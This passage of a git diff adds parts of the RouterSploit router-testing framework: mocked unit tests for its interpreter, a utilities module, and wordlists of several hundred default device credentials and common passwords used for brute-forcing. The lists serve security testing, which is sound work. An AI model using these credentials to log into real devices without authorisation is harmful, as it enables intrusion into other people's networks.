RoutersploitInterpreterTest(unittest.TestCase): + + def setUp(self): + RoutersploitInterpreter.setup = mock.Mock() + self.interpreter = RoutersploitInterpreter() + self.interpreter.current_module = mock.MagicMock() + self.raw_prompt_default = "\033[4mrsf\033[0m > " + self.module_prompt_default = lambda x: "\033[4mrsf\033[0m (\033[91m{}\033[0m) > ".format(x) + + def prepare_prompt_env_variables(self, raw_prompt=None, module_prompt=None): + if raw_prompt: + os.environ["RSF_RAW_PROMPT"] = raw_prompt + else: + try: + os.environ["RSF_RAW_PROMPT"] + except KeyError: + pass + + if module_prompt: + os.environ["RSF_MODULE_PROMPT"] = module_prompt + else: + try: + del os.environ["RSF_MODULE_PROMPT"] + except KeyError: + pass + + getattr(self.interpreter, '_{}__parse_prompt'.format(self.interpreter.__class__.__name__))() + + def assertIsDecorated(self, function, decorator_name): + try: + decorator_list = function.__decorators__ + except AttributeError: + decorator_list = [] + + self.assertIn( + decorator_name, + decorator_list, + msg="'{}' method should be decorated with 'module_required'".format(function.__name__) + ) + + @mock.patch('routersploit.utils.print_success') + def test_command_set(self, mock_print_success): + rhost, new_rhost_value = 'rhost_value', "new_rhost_value" + port, new_port_value = 'port_value', "new_port_value" + + self.interpreter.current_module.options = ['rhost', 'port'] + self.interpreter.current_module.rhost = rhost + self.interpreter.current_module.port = port + self.assertEqual(self.interpreter.current_module.rhost, rhost) + self.assertEqual(self.interpreter.current_module.port, port) + + self.interpreter.command_set('rhost {}'.format(new_rhost_value)) + self.interpreter.command_set('port {}'.format(new_port_value)) + self.assertEqual(self.interpreter.current_module.rhost, new_rhost_value) + self.assertEqual(self.interpreter.current_module.port, new_port_value) + self.assertEqual( + mock_print_success.mock_calls, + [mock.call({'rhost': new_rhost_value}), mock.call({'port': new_port_value})] + ) + + @mock.patch('routersploit.utils.print_error') + def test_command_set_unknown_option(self, mock_print_error): + unknown_option = "unknown" + del self.interpreter.current_module.unknown + known_options = ['known_option_1', 'known_option_2'] + self.interpreter.current_module.options = known_options + + self.interpreter.command_set('{} doesnt_matter_value'.format(unknown_option)) + + self.assertEqual( + mock_print_error.mock_calls, + [mock.call("You can't set option '{}'.\nAvailable options: {}".format(unknown_option, known_options))] + ) + + def test_command_run(self): + with mock.patch.object(self.interpreter.current_module, 'run') as mock_run: + self.interpreter.command_run() + mock_run.assert_called_once_with() + + @mock.patch('routersploit.utils.print_success') + def test_command_check_target_vulnerable(self, mock_print_success): + with mock.patch.object(self.interpreter.current_module, 'check') as mock_check: + mock_check.return_value = True + self.interpreter.command_check() + mock_check.assert_called_once_with() + mock_print_success.assert_called_once_with('Target is vulnerable') + + @mock.patch('routersploit.utils.print_error') + def test_command_check_target_not_vulnerable(self, print_error): + with mock.patch.object(self.interpreter.current_module, 'check') as mock_check: + mock_check.return_value = False + self.interpreter.command_check() + mock_check.assert_called_once_with() + print_error.assert_called_once_with('Target is not vulnerable') + + @mock.patch('routersploit.utils.print_status') + def test_command_check_target_could_not_be_verified_1(self, print_status): + with mock.patch.object(self.interpreter.current_module, 'check') as mock_check: + mock_check.return_value = "something" + self.interpreter.command_check() + mock_check.assert_called_once_with() + print_status.assert_called_once_with('Target could not be verified') + + @mock.patch('routersploit.utils.print_status') + def test_command_check_target_could_not_be_verified_2(self, print_status): + with mock.patch.object(self.interpreter.current_module, 'check') as mock_check: + mock_check.return_value = None + self.interpreter.command_check() + mock_check.assert_called_once_with() + print_status.assert_called_once_with('Target could not be verified') + + @mock.patch('sys.exc_info') + @mock.patch('traceback.format_exc') + @mock.patch('routersploit.utils.print_error') + def test_command_run_exception_during_exploit_execution(self, mock_print_error, mock_format_exc, mock_exc_info): + with mock.patch.object(self.interpreter.current_module, 'run') as mock_run: + mock_run.side_effect = RuntimeError + mock_format_exc.return_value = stacktrace = "stacktrace" + mock_exc_info.return_value = info = "info" + + self.interpreter.command_run() + mock_run.assert_called_once_with() + mock_format_exc.assert_called_once_with(info) + mock_print_error.assert_called_once_with(stacktrace) + + def test_command_back(self): + self.assertIsNotNone(self.interpreter.current_module) + self.interpreter.command_back() + self.assertIsNone(self.interpreter.current_module) + + def test_custom_raw_prompt(self): + self.prepare_prompt_env_variables(raw_prompt="***{host}***") + self.interpreter.current_module = None + self.assertEqual("***rsf***", self.interpreter.prompt) + + def test_default_raw_prompt_no_env_variable(self): + self.prepare_prompt_env_variables() + self.interpreter.current_module = None + self.assertEqual(self.raw_prompt_default, self.interpreter.prompt) + + def test_default_raw_prompt_wrong_env_variable_format(self): + self.prepare_prompt_env_variables(raw_prompt="wrong_format >") # no '{host}' substring + self.interpreter.current_module = None + self.assertEqual(self.raw_prompt_default, self.interpreter.prompt) + + def test_custom_module_\ + (self): + self.prepare_prompt_env_variables(module_prompt="*{host}*{module} >>>") + module_name = "module_name" + self.interpreter.current_module._MagicMock__info__ = {'name': module_name} + self.assertEqual("*rsf*{} >>>".format(module_name), self.interpreter.prompt) + + def test_default_module_prompt_no_env_variable(self): + self.prepare_prompt_env_variables() + name = "current_module_name" + self.interpreter.current_module._MagicMock__info__ = {'name': name} + self.assertEqual(self.module_prompt_default(name), self.interpreter.prompt) + + def test_default_module_prompt_wrong_env_variable_format_1(self): + self.prepare_prompt_env_variables(raw_prompt="{module} >") # no '{host}' substring + name = "current_module_name" + self.interpreter.current_module._MagicMock__info__ = {'name': name} + self.assertEqual(self.module_prompt_default(name), self.interpreter.prompt) + + def test_default_module_prompt_wrong_env_variable_format_2(self): + self.prepare_prompt_env_variables(module_prompt="{host} >") # no '{module}' substring + name = "current_module_name" + self.interpreter.current_module._MagicMock__info__ = {'name': name} + self.assertEqual(self.module_prompt_default(name), self.interpreter.prompt) + + def test_module_prompt_module_has_no_metadata(self): + del self.interpreter.current_module._MagicMock__info__ + self.assertEqual(self.module_prompt_default('UnnamedModule'), self.interpreter.prompt) + + def test_module_prompt_module_has_no_name_key_in_metadata(self): + self.interpreter.current_module._MagicMock__info__ = {} + self.assertEqual(self.module_prompt_default('UnnamedModule'), self.interpreter.prompt) + + def test_suggested_commands_with_loaded_module(self): + self.assertEqual( + self.interpreter.suggested_commands(), + ['run', 'back', 'set ', 'show ', 'check'] # Extra space at the end because of following param + ) + + def test_suggested_commands_without_loaded_module(self): + self.interpreter.current_module = None + self.assertEqual( + self.interpreter.suggested_commands(), # Extra space at the end because of following param + ['use '] + ) + + @mock.patch('importlib.import_module') + def test_command_use_01(self, mocked_import_module): + """ Testing command_use() + + * Known Exploit + * Known module + """ + module_path = "exploits/foo/bar" + self.interpreter.current_module = None + self.interpreter.modules = [module_path, 'doo/pa/foo/bar'] + exploit_class = mock.MagicMock(name="password_disclosure_module") + mocked_import_module.return_value = mocked_module = mock.MagicMock(name='module') + mocked_module.Exploit = exploit_class + + self.interpreter.command_use(module_path) + + mocked_import_module.assert_called_once_with('routersploit.modules.exploits.foo.bar') + self.assertEqual(self.interpreter.current_module, exploit_class()) + + @mock.patch('importlib.import_module') + def test_command_use_02(self, mocked_import_module): + """ Testing command_use() + + * Known Exploit + * Known module + """ + module_path = "creds/foo/bar/baz" + self.interpreter.current_module = None + self.interpreter.modules = [module_path, 'doo/pa/foo/bar'] + exploit_class = mock.MagicMock(name="password_disclosure_module") + mocked_import_module.return_value = mocked_module = mock.MagicMock(name='module') + mocked_module.Exploit = exploit_class + + self.interpreter.command_use(module_path) + + mocked_import_module.assert_called_once_with('routersploit.modules.creds.foo.bar.baz') + self.assertEqual(self.interpreter.current_module, exploit_class()) + + @mock.patch('importlib.import_module') + @mock.patch('routersploit.utils.print_error') + def test_command_unknown_extension(self, mocked_print_error, mocked_import_module): + """ Testing command_use() + + * Unknown module + """ + self.interpreter.current_module = None + self.interpreter.modules = ['doo/pa/foo/bar'] + module_path = "creds/foo/bar/baz" + mocked_import_module.side_effect = ImportError + + self.interpreter.command_use(module_path) + + mocked_import_module.assert_called_once_with('routersploit.modules.creds.foo.bar') + mocked_print_error.assert_called_once_with("Error during loading 'routersploit/modules/creds/foo/bar' module") + self.assertEqual(self.interpreter.current_module, None) + + @mock.patch('importlib.import_module') + @mock.patch('routersploit.utils.print_error') + def test_command_unknown_extension(self, mocked_print_error, mocked_import_module): + """ Testing command_use() + + * Unknown Exploit + * Known module + """ + module_path = "exploits/foo/bar" + self.interpreter.current_module = None + self.interpreter.modules = [module_path, 'doo/pa/foo/bar'] + mocked_import_module.return_value = mocked_module = mock.MagicMock(name='module') + del mocked_module.Exploit + + self.interpreter.command_use(module_path) + + mocked_import_module.assert_called_once_with('routersploit.modules.exploits.foo.bar') + mocked_print_error.assert_called_once_with("Error during loading 'routersploit/modules/exploits/foo/bar' module") + self.assertEqual(self.interpreter.current_module, None) + + @mock.patch('__builtin__.print') + def test_command_show_info(self, mock_print): + metadata = { + 'target': 'target_desc', + 'port': 'port_desc', + 'foo': 'foo_desc', + 'bar': 'bar_desc', + 'baz': 'baz_desc' + } + description = "Elaborate description fo the module" + self.interpreter.current_module.__doc__ = description + self.interpreter.current_module._MagicMock__info__ = metadata + + self.interpreter.command_show('info') + self.assertEqual( + mock_print.mock_calls, + [ + mock.call(description), + mock.call('Baz', ': ', 'baz_desc', sep=''), + mock.call('Foo', ': ', 'foo_desc', sep=''), + mock.call('Bar', ': ', 'bar_desc', sep=''), + mock.call('Target', ': ', 'target_desc', sep=''), + mock.call('Port', ': ', 'port_desc', sep=''), + mock.call()] + ) + + @mock.patch('__builtin__.print') + def test_command_show_info_module_with_no_metadata(self, mock_print): + metadata = {} + description = "Elaborate description fo the module" + self.interpreter.current_module.__doc__ = description + self.interpreter.current_module._MagicMock__info__ = metadata + + self.interpreter.command_show('info') + self.assertEqual( + mock_print.mock_calls, + [ + mock.call(description), + mock.call()] + ) + + @mock.patch('__builtin__.print') + def test_command_show_options(self, mock_print): + exploit_attributes = { + 'target': 'target_desc', + 'port': 'port_desc', + 'foo': 'foo_desc', + 'bar': 'bar_desc', + 'baz': 'baz_desc' + } + self.interpreter.current_module.options = ['target', 'port', 'foo', 'bar', 'baz'] + self.interpreter.current_module.exploit_attributes.__getitem__.side_effect = lambda key: exploit_attributes[key] + + self.interpreter.current_module.foo = 1 + self.interpreter.current_module.bar = 2 + self.interpreter.current_module.baz = 3 + self.interpreter.current_module.target = '127.0.0.1' + self.interpreter.current_module.port = 22 + + self.interpreter.command_show('options') + self.assertEqual( + mock_print.mock_calls, + [ + mock.call('\nTarget options:\n'), + mock.call(' Name Current settings Description '), + mock.call(' ---- ---------------- ----------- '), + mock.call(' target 127.0.0.1 target_desc '), + mock.call(' port 22 port_desc '), + mock.call('\nModule options:\n'), + mock.call(' Name Current settings Description '), + mock.call(' ---- ---------------- ----------- '), + mock.call(' bar 2 bar_desc '), + mock.call(' foo 1 foo_desc '), + mock.call(' baz 3 baz_desc '), + mock.call(), + ] + ) + + @mock.patch('__builtin__.print') + def test_command_show_options_when_there_is_no_module_opts(self, mock_print): + exploit_attributes = { + 'target': 'target_desc', + 'port': 'port_desc', + } + self.interpreter.current_module.options = ['target', 'port'] + self.interpreter.current_module.exploit_attributes.__getitem__.side_effect = lambda key: exploit_attributes[key] + + self.interpreter.current_module.target = '127.0.0.1' + self.interpreter.current_module.port = 22 + + self.interpreter.command_show('options') + self.assertEqual( + mock_print.mock_calls, + [ + mock.call('\nTarget options:\n'), + mock.call(' Name Current settings Description '), + mock.call(' ---- ---------------- ----------- '), + mock.call(' target 127.0.0.1 target_desc '), + mock.call(' port 22 port_desc '), + mock.call(), + ] + ) + + @mock.patch('__builtin__.print') + def test_command_show_unknown_sub_command(self, mock_print): + help_text = "Unknown command 'show unknown_sub_command'. You want to 'show info' or 'show options'?" + + self.interpreter.command_show('unknown_sub_command') + self.assertEqual( + mock_print.mock_calls, + [mock.call(help_text)] + ) + + def test_if_command_run_has_module_required_decorator(self): + self.assertIsDecorated( + self.interpreter.command_run, + "module_required" + ) + + def test_if_command_set_has_module_required_decorator(self): + self.assertIsDecorated( + self.interpreter.command_set, + "module_required" + ) + + def test_if_command_show_has_module_required_decorator(self): + self.assertIsDecorated( + self.interpreter.command_show, + "module_required" + ) + + def test_if_command_check_has_module_required_decorator(self): + self.assertIsDecorated( + self.interpreter.command_check, + "module_required" + ) + + @mock.patch('os.walk') + @mock.patch('importlib.import_module') + @mock.patch('inspect.getmembers') + def test_load_modules(self, mock_getmembers, mock_import_module, mock_walk): + mock_walk.return_value = ( + ('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']), + ('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']), + ('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']), + ) + mock_import_module.side_effect = [1, 2, 3, 4, 5] + mock_getmembers.side_effect = [ + [], + [], + [("FTPBruteforce", TestExploit), ('SomeClass', mock.MagicMock), ('Exploit123', TestExploit)], + [], + [("Exploit", TestExploit), ('SomeClass', mock.MagicMock)] + ] + + self.interpreter.load_modules() + + mock_walk.assert_called_once_with(self.interpreter.modules_directory) + self.assertEqual( + mock_import_module.mock_calls, + [ + mock.call('routersploit.modules.__init__'), + mock.call('routersploit.modules.creds.__init__'), + mock.call('routersploit.modules.creds.ftp_bruteforce'), + mock.call('routersploit.modules.exploits.asmax.__init__'), + mock.call('routersploit.modules.exploits.asmax.asmax_exploit') + ] + ) + self.assertEqual( + mock_getmembers.mock_calls, + [ + mock.call(1, inspect.isclass), + mock.call(2, inspect.isclass), + mock.call(3, inspect.isclass), + mock.call(4, inspect.isclass), + mock.call(5, inspect.isclass), + ] + ) + self.assertEqual( + self.interpreter.modules, + [ + 'creds.ftp_bruteforce', + 'exploits.asmax.asmax_exploit' + ] + ) + + @mock.patch('os.walk') + @mock.patch('importlib.import_module') + @mock.patch('inspect.getmembers') + def test_load_modules_import_error(self, mock_getmembers, mock_import_module, mock_walk): + mock_walk.return_value = ( + ('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']), + ('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']), + ('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']), + ) + mock_import_module.side_effect = [1, 2, ImportError, 4, 5] + mock_getmembers.side_effect = [ + [], + [], + [], + [("Exploit", TestExploit), ('SomeClass', mock.MagicMock)] + ] + + self.interpreter.load_modules() + + mock_walk.assert_called_once_with(self.interpreter.modules_directory) + self.assertEqual( + mock_import_module.mock_calls, + [ + mock.call('routersploit.modules.__init__'), + mock.call('routersploit.modules.creds.__init__'), + mock.call('routersploit.modules.creds.ftp_bruteforce'), + mock.call('routersploit.modules.exploits.asmax.__init__'), + mock.call('routersploit.modules.exploits.asmax.asmax_exploit') + ] + ) + self.assertEqual( + mock_getmembers.mock_calls, + [ + mock.call(1, inspect.isclass), + mock.call(2, inspect.isclass), + mock.call(4, inspect.isclass), + mock.call(5, inspect.isclass), + ] + ) + self.assertEqual( + self.interpreter.modules, + [ + 'exploits.asmax.asmax_exploit' + ] + ) + +if __name__ == '__main__': + unittest.main() diff --git a/routersploit/utils.py b/routersploit/utils.py new file mode 100644 index 000000000..56fb8e038 --- /dev/null +++ b/routersploit/utils.py @@ -0,0 +1,203 @@ +from __future__ import print_function +import threading +from functools import wraps +import sys + + +print_lock = threading.Lock() + +colors = { + 'grey': 30, 'red': 31, + 'green': 32, 'yellow': 33, + 'blue': 34, 'magenta': 35, + 'cyan': 36, 'white': 37, +} + + +def pythonize_path(path): + """ Replace argument to valid python dotted notation. + + ex. foo/bar/baz -> foo.bar.baz + """ + return path.replace('/', '.') + + +def humanize_path(path): + """ Replace python dotted path to directory-like one. + + ex. foo.bar.baz -> foo/bar/baz + + :param path: path to humanize + :return: humanized path + + """ + return path.replace('.', '/') + + +def module_required(fn): + """ Checks if module is loaded. + + Decorator that checks if any module is activated + before executing command specific to modules (ex. 'run'). + """ + @wraps(fn) + def wrapper(self, *args, **kwargs): + if not self.current_module: + print_error("You have to activate any module with 'use' command.") + return + return fn(self, *args, **kwargs) + try: + name = 'module_required' + wrapper.__decorators__.append(name) + except AttributeError: + wrapper.__decorators__ = [name] + return wrapper + + +def stop_after(space_number): + """ Decorator that determine when to stop tab-completion + + Decorator that tells command specific complete function + (ex. "complete_use") when to stop tab-completion. + Decorator counts number of spaces (' ') in line in order + to determine when to stop. + + ex. "use exploits/dlink/specific_module " -> stop complete after 2 spaces + "set rhost " -> stop completing after 2 spaces + "run " -> stop after 1 space + + :param space_number: number of spaces (' ') after which tab-completion should stop + :return: + """ + def _outer_wrapper(wrapped_function): + @wraps(wrapped_function) + def _wrapper(self, *args, **kwargs): + try: + if len(args[1].split(' ', space_number)) == space_number + 1: + return [] + except Exception as err: + print(err) + return wrapped_function(self, *args, **kwargs) + return _wrapper + return _outer_wrapper + + +def __cprint(*args, **kwargs): + """ Color print() + + Signature like Python 3 print() function + print([object, ...][, sep=' '][, end='\n'][, file=sys.stdout]) + """ + with print_lock: + color = kwargs.get('color', None) + if color: + file_ = kwargs.get('file', sys.stdout) + sep = kwargs.get('sep', ' ') + end = kwargs.get('end', '\n') + print('\033[{}m'.format(colors[color]), end='', file=file_, sep=sep) + print(*args, end='', file=file_, sep=sep) + print('\033[0m', sep=sep, end=end, file=file_) + else: + print(*args, **kwargs) + + +def print_error(*args): + __cprint('\033[91m[-]\033[0m', *args) + + +def print_status(*args): + __cprint('\033[94m[*]\033[0m', *args) + + +def print_success(*args): + __cprint('\033[92m[+]\033[0m', *args) + + +def print_info(*args, **kwargs): + __cprint(*args, **kwargs) + + +class LockedIterator(object): + def __init__(self, it): + self.lock = threading.Lock() + self.it = it.__iter__() + + def __iter__(self): return self + + def next(self): + self.lock.acquire() + try: + return self.it.next() + finally: + self.lock.release() + + +def print_table(headers, *args, **kwargs): + """ Print table. + + example: + + Name Current setting Description + ---- --------------- ----------- + option_name value description + foo bar baz + foo bar baz + + :param headers: Headers names ex.('Name, 'Current setting', 'Description') + :param args: table values, each element representing one line ex. ('option_name', 'value', 'description), ... + :param kwargs: 'extra_fill' space between columns, 'header_separator' character to separate headers from content + :return: + """ + extra_fill = kwargs.get("extra_fill", 5) + header_separator = kwargs.get("header_separator", '-') + + if not all(map(lambda x: len(x) == len(headers), args)): + print_error("Headers and table rows tuples should be the same length.") + return + + def custom_len(x): + try: + return len(x) + except TypeError: + return 0 + + fill = [] + headers_line = ' ' + headers_separator_line = ' ' + for idx, header in enumerate(headers): + current_line_fill = max(len(header), *map(lambda x: custom_len(x[idx]), args)) + extra_fill + fill.append(current_line_fill) + headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill))) + headers_separator_line = "".join(( + headers_separator_line, + '{:<{}}'.format(header_separator*len(header), current_line_fill) + )) + + print() + print(headers_line) + print(headers_separator_line) + for arg in args: + content_line = ' ' + for idx, element in enumerate(arg): + content_line = "".join(( + content_line, + '{:<{}}'.format(element, fill[idx]) + )) + print(content_line) + + print() + + +def sanitize_url(address): + """Sanitize url. + + Converts address to valid HTTP url. + """ + url = "" + if not address.startswith("http://") and not address.startswith("https://"): + url = "http://" + address + else: + url = address + + return url + diff --git a/routersploit/wordlists/__init__.py b/routersploit/wordlists/__init__.py new file mode 100644 index 000000000..a43e81028 --- /dev/null +++ b/routersploit/wordlists/__init__.py @@ -0,0 +1,7 @@ +import pkg_resources + + +defaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt') +passwords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt') +usernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt') +snmp = 'file://'+ pkg_resources.resource_filename(__name__, 'snmp.txt') diff --git a/routersploit/wordlists/defaults.txt b/routersploit/wordlists/defaults.txt new file mode 100644 index 000000000..e77a38713 --- /dev/null +++ b/routersploit/wordlists/defaults.txt @@ -0,0 +1,396 @@ +1111:1111 +1234:1234 +1502:1502 +266344:266344 +3comcso:RIP000 +ADMINISTRATOR:ADMINISTRATOR +ADMN:admn +ADVMAIL:HP +ADVMAIL:HPOFFICE DATA +Admin:admin +Administrator:3ware +Administrator:admin +Administrator:changeme +Administrator:ganteng +Administrator:letmein +Administrator:password +Administrator:pilou +Administrator:smcadmin +Administrator:the same all over +Any:12345 +CSG:SESAME +Cisco:Cisco +D-Link:D-Link +DTA:TJM +FIELD:HPONLY +FIELD:HPP187 SYS +FIELD:HPWORD PUB +FIELD:LOTUS +FIELD:MANAGER +FIELD:MGR +FIELD:SERVICE +FIELD:SUPPORT +GEN1:gen1 +GEN2:gen2 +GlobalAdmin:GlobalAdmin +HELLO:FIELD.SUPPORT +HELLO:MANAGER.SYS +HELLO:MGR.SYS +HELLO:OP.OPERATOR +HTTP:HTTP +IntraStack:Asante +IntraSwitch:Asante +JDE:JDE +LUCENT01:UI-PSWD-01 +LUCENT02:UI-PSWD-02 +MAIL:HPOFFICE +MAIL:MAIL +MAIL:MPE +MAIL:REMOTE +MAIL:TELESUP +MANAGER:COGNOS +MANAGER:HPOFFICE +MANAGER:ITF3000 +MANAGER:SECURITY +MANAGER:SYS +MANAGER:TCH +MANAGER:TELESUP +MDaemon:MServer +MGR:CAROLIAN +MGR:CCC +MGR:CNAS +MGR:COGNOS +MGR:CONV +MGR:HPDESK +MGR:HPOFFICE +MGR:HPONLY +MGR:HPP187 +MGR:HPP189 +MGR:HPP196 +MGR:INTX3 +MGR:ITF3000 +MGR:NETBASE +MGR:REGO +MGR:RJE +MGR:ROBELLE +MGR:SECURITY +MGR:SYS +MGR:TELESUP +MGR:VESOFT +MGR:WORD +MGR:XLSERVER +MICRO:RSX +Manager:Manager +Manager:friend +NAU:NAU +NETWORK:NETWORK +NICONEX:NICONEX +OPERATOR:COGNOS +OPERATOR:DISC +OPERATOR:SUPPORT +OPERATOR:SYS +OPERATOR:SYSTEM +PBX:PBX +PCUSER:SYS +PFCUser:240653C9467E45 +PRODDTA:PRODDTA +PSEAdmin:$secure$ +Polycom:SpIp +RMUser1:password +RSBCMON:SYS +SPOOLMAN:HPOFFICE +SYSADM:sysadm +SYSDBA:masterkey +Sweex:Mysweex +USERID:PASSW0RD +User:Password +VNC:winterm +VTech:VTech +WP:HPOFFICE +ZXDSL:ZXDSL +aaa:often blank +acc:acc +adfexc:adfexc +admin2:changeme +admin:0 +admin:0000 +admin:1111 +admin:123 +admin:1234 +admin:123456 +admin:2222 +admin:22222 +admin:AitbISP4eCiG +admin:Ascend +admin:NetCache +admin:OCS +admin:Protector +admin:admin +admin:admin123 +admin:adslolitec +admin:articon +admin:asante +admin:asd +admin:atlantis +admin:barricade +admin:bintec +admin:cableroot +admin:changeme +admin:cisco +admin:comcomcom +admin:conexant +admin:default +admin:diamond +admin:epicrouter +admin:extendnet +admin:giraff +admin:hagpolm1 +admin:hello +admin:hp.com +admin:ironport +admin:isee +admin:kont2004 +admin:linga +admin:michelangelo +admin:microbusiness +admin:motorola +admin:mu +admin:my_DEMARC +admin:netadmin +admin:noway +admin:operator +admin:password +admin:pwp +admin:radius +admin:rmnetlm +admin:root +admin:secure +admin:setup +admin:smallbusiness +admin:smcadmin +admin:superuser +admin:switch +admin:synnet +admin:sysAdmin +admin:system +admin:visual +admin:w2402 +admin:xad$l#12 +admin:zoomadsl +administrator:administrator +adminstat:OCS +adminstrator:changeme +adminttd:adminttd +adminuser:OCS +adminview:OCS +anonymous:Exabyte +anonymous:any@ +apc:apc +at4400:at4400 +bbsd-client:NULL +bbsd-client:changeme2 +bciim:bciimpw +bcim:bcimpw +bcms:bcmspw +bcnas:bcnaspw +blue:bluepw +browse:browsepw +browse:looker +cablecom:router +cablemodem:robotics +cac_admin:cacadmin +cas:cascade +ccrusr:ccrusr +cellit:cellit +cgadmin:cgadmin +cisco:cisco +client:client +cmaker:cmaker +comcast:1234 +corecess:corecess +craft:craft +craft:craftpw +craft:crftpw +cusadmin:highspeed +cust:custpw +customer:none +dadmin:dadmin01 +davox:davox +debug:d.e.b.u.g +debug:synnet +deskalt:password +deskman:changeme +desknorm:password +deskres:password +device:device +dhs3mt:dhs3mt +dhs3pms:dhs3pms +diag:danger +diag:switch +disttech:4tas +draytek:1234 +e250:e250changeme +e500:e500changeme +echo:echo +eng:engineer +enquiry:enquirypw +field:support +ftp_admi:kilo1987 +ftp_inst:pbxk1064 +ftp_nmc:tuxalize +ftp_oper:help1954 +guest:guest +halt:tlah +helpdesk:OCS +hsa:hsadb +hscroot:abc123 +inads:inads +inads:indspw +init:initpw +install:llatsni +install:secret +installer:installer +intel:intel +intermec:intermec +kermit:kermit +l2:l2 +l3:l3 +locate:locatepw +login:0 +login:1111 +login:8429 +login:access +login:admin +login:password +lp:lp +m1122:m1122 +maint:maint +maint:maintpw +maint:ntacdmax +maint:rwmaint +manager:admin +manager:friend +manager:manager +manuf:xxyyzz +mediator:mediator +mlusr:mlusr +monitor:monitor +mtch:mtch +mtcl:mtcl +naadmin:naadmin +netman:netman +netopia:netopia +netrangr:attack +netscreen:netscreen +nms:nmspw +none:0 +none:admin +op:op +op:operator +operator:$chwarzepumpe +operator:operator +patrol:patrol +piranha:piranha +piranha:q +poll:tech +public:public +radware:radware +rapport:r@p8p0r+ +rcust:rcustpw +readonly:lucenttech2 +readwrite:lucenttech1 +recovery:recovery +replicator:replicator +ro:ro +root:1234 +root:12345 +root:123456 +root:3ep5w2u +root:Cisco +root:Mau'dib +root:ROOT500 +root:admin +root:admin_1 +root:alpine +root:ascend +root:attack +root:blender +root:calvin +root:changeme +root:cms500 +root:davox +root:default +root:fivranne +root:letacla +root:pass +root:permit +root:root +root:tini +root:tslinux +root:wyse +router:router +rw:rw +rwa:rwa +scmadmin:scmchangeme +security:security +service:smile +setup:changeme +setup:changeme(exclamation) +setup:setup +smc:smcadmin +spcl:0 +storwatch:specialist +su:super +super.super:master +super:5777364 +super:super +super:surt +superadmin:secret +superman:21241036 +superman:talent +superuser:123456 +superuser:admin +supervisor:PlsChgMe! +supervisor:PlsChgMe1 +supervisor:supervisor +support:h179350 +support:support +support:supportpw +sys:uplink +sysadm:anicust +sysadm:sysadm +sysadmin:PASS +sysadmin:password +sysadmin:sysadmin +system/manager:sys/change_on_install +system:password +system:sys +target:password +teacher:password +tech:field +tech:tech +telco:telco +telecom:telecom +tellabs:tellabs#1 +temp1:password +tiara:tiaranet +tiger:tiger123 +topicalt:password +topicnorm:password +topicres:password +user:pass +user:password +user:public +user:tivonpw +user:user +vcr:NetVCR +volition:volition +vt100:public +webadmin:1234 +webadmin:webadmin +websecadm:changeme +wlse:wlsedb +wradmin:trancell +write:private +xbox:xbox +xd:xd diff --git a/routersploit/wordlists/passwords.txt b/routersploit/wordlists/passwords.txt new file mode 100644 index 000000000..97466fe51 --- /dev/null +++ b/routersploit/wordlists/passwords.txt @@ -0,0 +1,420 @@ +!manage +$chwarzepumpe +$secure$ +(brak) +0 +0P3N +10023 +1064 +Test1234! +1111 +123 +1234 +12345 +123456 +1234admin +12871 +1502 +166816 +21241036 +2222 +22222 +240653C9467E45 +266344 +31994 +3477 +3ascotel +3ep5w2u +3ware +456 +4getme2 +4tas +561384 +5678 +56789 +5777364 +8111 +8429 +9999 +@dsl_xilno +ADMINISTRATOR +ADTRAN +ANS#150 +Admin +AitbISP4eCiG +Asante +Ascend +BRIDGE +CAROLIAN +CCC +CNAS +COGNOS +CONV +Cisco +Col2ogro2 +D-Link +DATA +DISC +Exabyte +FIELD.SUPPORT +Fireport +Geardog +GlobalAdmin +HP +HPDESK +HPOFFICE +HPONLY +HPP187 +HPP189 +HPP196 +HTTP +Helpdesk +ILMI +INTX3 +ITF3000 +Intel +JDE +LOTUS +MAIL +MANAGER +MANAGER.SYS +MGR +MGR.SYS +MPE +MServer +Manager +Master +Mau’dib +Menara +MiniAP +Multi +NAU +NETBASE +NETWORK +NICONEX +NULL +NetCache +NetICs +NetSurvibox +NetVCR +OCS +OP.OPERATOR +OkiLAN +P@55w0rd! +PASS +PASSW0RD +PASSWORD +PBX +PRODDTA +PUB +Password +PlsChgMe +Posterie +Protector +R1QTPS +REGO +REMOTE +RIP000 +RJE +ROBELLE +ROOT500 +RSX +SECURITY +SERVICE +SESAME +SKY_FOX +SMDR +SSA +SUPER +SUPPORT +SYS +SYSTEM +Series +Sharp +SpIp +Super +Symbol +TANDBERG +TCH +TELESUP +TENmanUFactOryPOWER +TJM +Telecom +UI-PSWD-01 +UI-PSWD-02 +User +VESOFT +WORD +Wireless +XLSERVER +_Cisco +abc123 +acc +access +adfexc +admin +admin00 +admin123 +admin_1 +administrator +adminttd +admn +adress +adslolitec +adslroot +adtran +anicust +any@ +apc +articon +asante +ascend +asd +at4400 +atc123 +atlantis +attack +backdoor +barricade +bciimpw +bcimpw +bcmspw +bcnaspw +bcpb+serial# +bintec +blank +blender +bluepw +browsepw +cacadmin +calvin +cascade +ccrusr +cellit +cgadmin +changeme +changeme(exclamation) +changeme2 +cisco +citel +client +cmaker +cms500 +col1ma +comcomcom +connect +corecess +craft +craftpw +crftpw +custpw +d1scovery +dadmin01 +danger +davox +default +detmond +device +dhs3mt +dhs3pms +diamond +draadloos +e250changeme +e500changeme +engineer +enquirypw +enter +epicrouter +expert +expert03 +extendnet +field +fivranne +friend +ganteng +gen1 +gen2 +ggdaseuaimhrke +guest +h179350 +hagpolm1 +hawk201 +hello +help +help1954 +highspeed +hp.com +hs7mwxkk +hsadb +iDirect +images +imss7.0 +inads +indspw +infrant1 +initpw +installer +intel +intermec +ironport +isee +isp +jannie +kermit +kilo1987 